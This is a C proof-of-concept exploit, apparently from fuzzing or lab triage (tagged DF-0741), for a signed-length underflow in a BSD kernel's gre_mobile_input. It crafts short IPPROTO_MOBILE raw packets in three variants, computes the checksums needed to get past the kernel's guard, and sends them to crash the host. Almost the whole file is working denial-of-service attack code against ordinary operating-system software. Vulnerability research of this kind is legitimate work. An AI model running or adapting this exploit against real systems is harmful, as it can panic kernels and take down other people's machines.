/* * DF-0741 — gre_mobile_input bcopy size underflow * Trigger: send a short IPPROTO_MOBILE packet to a host that has a * gre-mobile tunnel (gre0 g_proto=IPPROTO_MOBILE) configured with * g_src/g_dst matching the packet's outer IP src/dst. * * In sys/netinet/ip_gre.c:gre_mobile_input the line: * * bcopy((caddr_t)(ip) + (ip->ip_hl << 2) + msiz, * (caddr_t)(ip) + (ip->ip_hl << 2), * m->m_len - msiz - (ip->ip_hl << 2)); * * has a 3rd argument that is evaluated as a *signed int* (m->m_len, * msiz and (ip->ip_hl << 2) are all int-width) and is then implicitly * widened to size_t for bcopy(). If m->m_len < msiz + ip_hl*4 the * value is negative and becomes ~2^64, so bcopy reads/writes * gigabytes and faults immediately -> kernel panic / DoS. * * Reachability path: * ip_input -> ip_protox[IPPROTO_MOBILE] -> encap4_input * -> mask_match finds gre0 (g_proto=IPPROTO_MOBILE) * -> gre_mobile_input (no m_pullup, no length check) * * The injected packet is sized so that m_len == ip_hl*4 + 4, but the * mobile header (no S-bit) requires msiz = MOB_H_SIZ_S = 8 bytes, so * the bcopy length = m_len - 8 - 20 = -4 -> 0xFFFFFFFFFFFFFFFC. * * Setup (root, see run.sh): create gre0 in mobile mode with * g_src=127.0.0.1 g_dst=127.0.0.1 ; ifconfig gre0 up * then send the crafted packet to 127.0.0.1 (raw socket, IP_HDRINCL). * * NB: the in-kernel gre_in_cksum() of the mobile header must return 0 * (line 232) or the packet is dropped before the bcopy. We compute * the header checksum so it passes. */ #include #include #include #include #include #include #include #include #include #include #include #include /* mirror of sys/net/gre/if_gre.h mobile_h layout */ struct mobile_h { uint16_t proto; /* protocol and S-bit (network byte order) */ uint16_t hcrc; /* header checksum */ uint32_t odst; /* original destination address */ uint32_t osrc; /* original source address, present iff S-bit */ } __attribute__((__packed__)); #define MOB_H_SBIT 0x0080 #define IPPROTO_MOBILE 55 /* gre_in_cksum from if_gre.c:805 — same algorithm */ static uint16_t gre_in_cksum(const uint16_t *p, size_t len) { uint32_t sum = 0; int nwords = len >> 1; while (nwords-- != 0) sum += *p++; if (len & 1) { union { uint16_t w; uint8_t c[2]; } u; u.c[0] = *(const uint8_t *)p; u.c[1] = 0; sum += u.w; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (uint16_t)(~sum); } int main(int argc, char **argv) { const char *dst_s = "127.0.0.1"; const char *src_s = "127.0.0.1"; if (argc > 1) dst_s = argv[1]; if (argc > 2) src_s = argv[2]; /* * Build packet: 20-byte IPv4 header + 4 bytes of mobile header * (proto + hcrc only). m_len at gre_mobile_input == 24. * msiz == 8 (S-bit clear, MOB_H_SIZ_S = sizeof(mobile_h)-4 = 8). * bcopy length = 24 - 8 - 20 = -4 -> 0xFFFFFFFFFFFFFFFC. */ unsigned char pkt[24]; memset(pkt, 0, sizeof(pkt)); struct ip *ip = (struct ip *)pkt; ip->ip_v = 4; ip->ip_hl = 5; /* 20 bytes */ ip->ip_tos = 0; ip->ip_len = htons(sizeof(pkt)); ip->ip_id = htons(0x4141); ip->ip_off = 0; ip->ip_ttl = 64; ip->ip_p = IPPROTO_MOBILE; ip->ip_sum = 0; inet_pton(AF_INET, src_s, &ip->ip_src); inet_pton(AF_INET, dst_s, &ip->ip_dst); ip->ip_sum = gre_in_cksum((const uint16_t *)ip, 20); /* ipv4 hdr csum */ /* mobile header at offset 20: proto + hcrc (4 bytes), no odst. * S-bit clear => msiz = MOB_H_SIZ_S = 8. * hcrc chosen so gre_in_cksum(&mh, 8) == 0 (passes the line 232 * guard). We compute it over an 8-byte view of the header area * (only 4 bytes are inside the mbuf; the other 4 are whatever is * in the mbuf cluster past m_len — but for the cksum we want a * deterministic pass, so we set hcrc so the 8-byte sum that * gre_in_cksum *actually computes* in-kernel comes out 0 when the * in-mbuf bytes are as below). In practice the kernel reads 8 * bytes starting at mh; 4 of those are our pkt bytes, the next 4 * are mbuf-cluster residue. We can't know residue, so we instead * make the S-bit SET (msiz=MOB_H_SIZ_L=12) so a *shorter* packet * still triggers the underflow AND we don't need a deterministic * cksum — see alternate path below. */ /* Here: keep S-bit clear; the cksum will likely fail on residue, * so we ALSO try a packet where the entire 8-byte mobile header * IS present (28-byte packet) but m_len gets truncated to 24 by * chopping the trailing bytes — that's not possible from a single * send, so we rely on the S-bit-on variant in the second send. */ /* === Variant A: 24-byte packet, S-bit clear, hcrc computed over * the 4 bytes we DO control plus zeros for the missing 4 * (assuming residue is zero — works on freshly-allocated * mbufs). If the in-kernel cksum is non-zero on residue, the * packet is dropped at line 232-234 and we move to Variant B. */ { struct mobile_h mh; memset(&mh, 0, sizeof(mh)); mh.proto = htons(0); /* no S-bit; protocol 0 is fine for the trigger */ mh.hcrc = 0; mh.odst = 0; /* residue slot, will be missing from the mbuf */ mh.hcrc = gre_in_cksum((const uint16_t *)&mh, 8); /* make sum=0 */ memcpy(pkt + 20, &mh, 4); /* only the first 4 bytes go on the wire */ } int s = socket(AF_INET, SOCK_RAW, IPPROTO_MOBILE); if (s < 0) { perror("socket"); fprintf(stderr, "need root\n"); return 2; } int one = 1; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) perror("IP_HDRINCL"); struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, dst_s, &dst.sin_addr); printf("[DF-0741] sending 24-byte IPPROTO_MOBILE packet " "(m_len=24, msiz=8, ip_hl=5 -> bcopy len = %lld)\n", (long long)((unsigned)24 - 8 - 20)); ssize_t n = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) perror("sendto variant A"); else printf("[DF-0741] variant A sent %zd bytes\n", n); /* === Variant B: 24-byte packet with S-bit set. * msiz = MOB_H_SIZ_L = 12. bcopy len = 24 - 12 - 20 = -8 * -> 0xFFFFFFFFFFFFFFF8. S-bit also forces a write into * mip->mi.ip_src at line 225 (mip->mh.osrc) — but osrc is * past our 4-byte payload so it reads residue too. Either * way the bcopy underflows. */ { unsigned char pktB[24]; memset(pktB, 0, sizeof(pktB)); struct ip *ipB = (struct ip *)pktB; *ipB = *ip; ipB->ip_sum = 0; ipB->ip_sum = gre_in_cksum((const uint16_t *)ipB, 20); struct mobile_h mh; memset(&mh, 0, sizeof(mh)); mh.proto = htons(MOB_H_SBIT); /* S-bit set => msiz = 12 */ mh.hcrc = 0; mh.odst = 0; mh.osrc = 0; mh.hcrc = gre_in_cksum((const uint16_t *)&mh, 12); memcpy(pktB + 20, &mh, 4); printf("[DF-0741] sending 24-byte S-bit variant " "(m_len=24, msiz=12, ip_hl=5 -> bcopy len = %lld)\n", (long long)((unsigned)24 - 12 - 20)); n = sendto(s, pktB, sizeof(pktB), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) perror("sendto variant B"); else printf("[DF-0741] variant B sent %zd bytes\n", n); } /* === Variant C: 26-byte packet, S-bit clear. * msiz=8, bcopy len = 26 - 8 - 20 = -2 -> 0xFFFFFFFFFFFFFFFE. * Same idea, slightly less aggressive truncation. */ { unsigned char pktC[26]; memset(pktC, 0, sizeof(pktC)); struct ip *ipC = (struct ip *)pktC; *ipC = *ip; ipC->ip_len = htons(26); ipC->ip_sum = 0; ipC->ip_sum = gre_in_cksum((const uint16_t *)ipC, 20); struct mobile_h mh; memset(&mh, 0, sizeof(mh)); mh.proto = htons(0); mh.hcrc = 0; mh.odst = 0; mh.hcrc = gre_in_cksum((const uint16_t *)&mh, 8); memcpy(pktC + 20, &mh, 6); /* 6 of the 8 bytes are ours */ printf("[DF-0741] sending 26-byte variant " "(m_len=26, msiz=8, ip_hl=5 -> bcopy len = %lld)\n", (long long)((unsigned)26 - 8 - 20)); n = sendto(s, pktC, sizeof(pktC), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) perror("sendto variant C"); else printf("[DF-0741] variant C sent %zd bytes\n", n); } close(s); usleep(200000); printf("[DF-0741] if the guest is reachable after this, the path did not " "fire (or the in-mbuf cksum rejected it); check boot.log for a " "panic.\n"); return 0; }